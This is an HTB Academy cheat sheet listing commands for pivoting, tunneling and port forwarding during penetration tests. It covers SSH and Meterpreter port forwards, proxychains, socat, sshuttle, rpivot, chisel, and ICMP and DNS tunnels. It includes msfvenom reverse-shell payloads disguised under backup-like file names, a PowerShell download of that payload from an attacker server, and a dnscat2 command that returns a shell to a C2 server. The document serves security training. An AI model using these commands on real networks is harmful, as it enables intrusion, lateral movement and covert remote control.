HACKTHEBOX

PIVOTING, TUNNELING, AND PORT FORWARDING

CHEAT SHEET

Command	Description
`ifconfig`	Linux-based command that displays all current network configurations of a system.
`ipconfig`	Windows-based command that displays all system network configurations.
`netstat -r`	Command used to display the routing table for all IPv4-based protocols.
`nmap -sT -p22,3306 <IPaddressofTarget>`	Nmap command used to scan a target for open ports allowing SSH or MySQL connections.
`ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget>`	SSH comand used to create an SSH tunnel from a local machine on local port `1234` to a remote target using port 3306.
`netstat -antp | grep 1234`	Netstat option used to display network connections associated with a tunnel created. Using `grep` to filter based on local port `1234` .

Command	Description
`nmap -v -sV -p1234 localhost`	Nmap command used to scan a host through a connection that has been made on local port `1234`.
`ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget>`	SSH command that instructs the ssh client to request the SSH server forward all data via port `1234` to `localhost:3306`.
`ssh -D 9050 ubuntu@<IPaddressofTarget>`	SSH command used to perform a dynamic port forward on port `9050` and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.
`tail -4 /etc/proxychains.conf`	Linux-based command used to display the last 4 lines of /etc/proxychains.conf. Can be used to ensure socks configurations are in place.
`proxychains nmap -v -sn 172.16.5.1-200`	Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range `172.16.5.1-200` with increased verbosity (`-v`) disabling ping scan (`-sn`).

Command	Description
`proxychains nmap -v -Pn -sT 172.16.5.19`	Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (`-v`), disabling ping discover (`-Pn`), and using TCP connect scan type (`-sT`).
`proxychains msfconsole`	Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.
`msf6 > search rdp_scanner`	Metasploit search that attempts to find a module called `rdp_scanner`.
`proxychains xfreerdp /v:<IPaddressofTarget> /u:victor /p:pass@123`	Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.
`msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InteralIPofPivotHost> -f exe -o backupscript.exe LPORT=8080`	Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following `lhost=` on local port 8080 (`LPORT=8080`). Payload will take the form of an executable file called `backupscript.exe`.
`msf6 > use exploit/multi/handler`	Used to select the multi-handler exploit module in Metasploit.

HTB ACADEMY CHEATSHEET

Command	Description
`scp backupscript.exe ubuntu@<ipAddressofTarget>:~/`	Uses secure copy protocol (`scp`) to transfer the file `backupscript.exe` to the specified host and places it in the Ubuntu user's home directory (`:~/`).
`python3 -m http.server 8123`	Uses Python3 to start a simple HTTP server listening on port `8123`. Can be used to retrieve files from a host.
`Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"`	PowerShell command used to download a file called backupscript.exe from a webserver (`172.16.5.129:8123`) and then save the file to location specified after `-OutFile`.
`ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 ubuntu@<ipAddressofTarget> -vN`	SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target.
`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IPaddressofAttackHost -f elf -o backupjob LPORT=8080`	Uses msfveom to generate a Linux-based Meterpreter reverse TCP payload that calls back to the IP specified after `LHOST=` on port 8080 (`LPORT=8080`). Payload takes the form of an executable elf file called backupjob.
`msf6> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23`	Metasploit command that runs a ping sweep module against the specified network segment (`RHOSTS=172.16.5.0/23`).

Command	Description
`for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done`	For Loop used on a Linux-based system to discover devices in a specified network segment.
`for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"`	For Loop used on a Windows-based system to discover devices in a specified network segment.
`1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}`	PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment.
`msf6 > use auxiliary/server/socks_proxy`	Metasploit command that selects the `socks_proxy` auxiliary module.
`msf6 auxiliary(server/socks_proxy) > jobs`	Metasploit command that lists all currently running jobs.
`socks4 127.0.0.1 9050`	Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port.
`Socks5 127.0.0.1 1080`	Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port.

HTB ACADEMY CHEATSHEET

Command	Description
`msf6 > use post/multi/manage/autoroute`	Metasploit command used to select the autoroute module.
`meterpreter > help portfwd`	Meterpreter command used to display the features of the portfwd command.
`meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>`	Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.
`xfreerdp /v:localhost:3300 /u:victor /p:pass@123`	Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly.
`netstat -antp`	Used to display all (`-a`) active network connections with associated process IDs. `-t` displays only TCP connections.`-n` displays only numerical addresses. `-p` displays process IDs associated with each displayed connection.
`meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>`	Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host.

HTB ACADEMY CHEATSHEET

Command	Description
`meterpreter > bg`	Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux
`socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofAttackHost>:80`	Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.
`socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofTarget>:8443`	Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443.
`plink -D 9050 ubuntu@<IPaddressofTarget>`	Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.
`sudo apt-get install sshuttle`	Uses apt-get to install the tool sshuttle.
`sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v`	Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (`172.16.5.0`).
`sudo git clone https://github.com/klsecservices/rpivot.git`	Clones the rpivot project GitHub repository.

Command	Description
`sudo apt-get install python2.7`	Uses apt-get to install python2.7.
`python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0`	Used to run the rpivot server (`server.py`) on proxy port `9050`, server port `9999` and listening on any IP address (`0.0.0.0`).
`scp -r rpivot ubuntu@<IPaddressOfTarget>`	Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.
`python2.7 client.py --server-ip 10.10.14.18 --server-port 9999`	Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port.
`proxychains firefox-esr <IPaddressofTargetWebServer>:80`	Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server.
`python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>`	Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.
`netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25`	Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.

HTB ACADEMY CHEATSHEET

Command	Description
`netsh.exe interface portproxy show v4tov4`	Windows-based command used to view the configurations of a portproxy rule called v4tov4.
`git clone https://github.com/iagox86/dnscat2.git`	Clones the `dnscat2` project GitHub repository.
`sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache`	Used to start the dnscat2.rb server running on the specified IP address, port (`53`) & using the domain `inlanefreight.local` with the no-cache option enabled.
`git clone https://github.com/lukebaggett/dnscat2-powershell.git`	Clones the dnscat2-powershell project Github repository.
`Import-Module dnscat2.ps1`	PowerShell command used to import the dnscat2.ps1 tool.
`Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd`	PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (`-Exec cmd`).
`dnscat2> ?`	Used to list dnscat2 options.
`dnscat2> window -i 1`	Used to interact with an established dnscat2 session.

Command	Description
`./chisel server -v -p 1234 --socks5`	Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5.
`./chisel client -v 10.129.202.64:1234 socks`	Used to connect to a chisel server at the specified IP address & port using socks.
`git clone https://github.com/utoni/ptunnel-ng.git`	Clones the ptunnel-ng project GitHub repository.
`sudo ./autogen.sh`	Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.
`sudo ./ptunnel-ng -r10.129.202.64 -R22`	Used to start the ptunnel-ng server on the specified IP address (`-r`) and corresponding port (`-R22`).
`sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22`	Used to connect to a specified ptunnel-ng server through local port 2222 (`-l2222`).
`ssh -p2222 -lubuntu 127.0.0.1`	SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel.
`regsvr32.exe SocksOverRDP-Plugin.dll`	Windows-based command used to register the SocksOverRDP-PLugin.dll.
`netstat -antb |findstr 1080`	Windows-based command used to list TCP network connections listening on port 1080.

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET